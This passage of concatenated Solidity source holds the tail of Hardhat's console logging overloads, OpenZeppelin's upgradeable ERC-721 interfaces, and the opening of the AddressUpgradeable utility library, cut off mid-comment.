_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
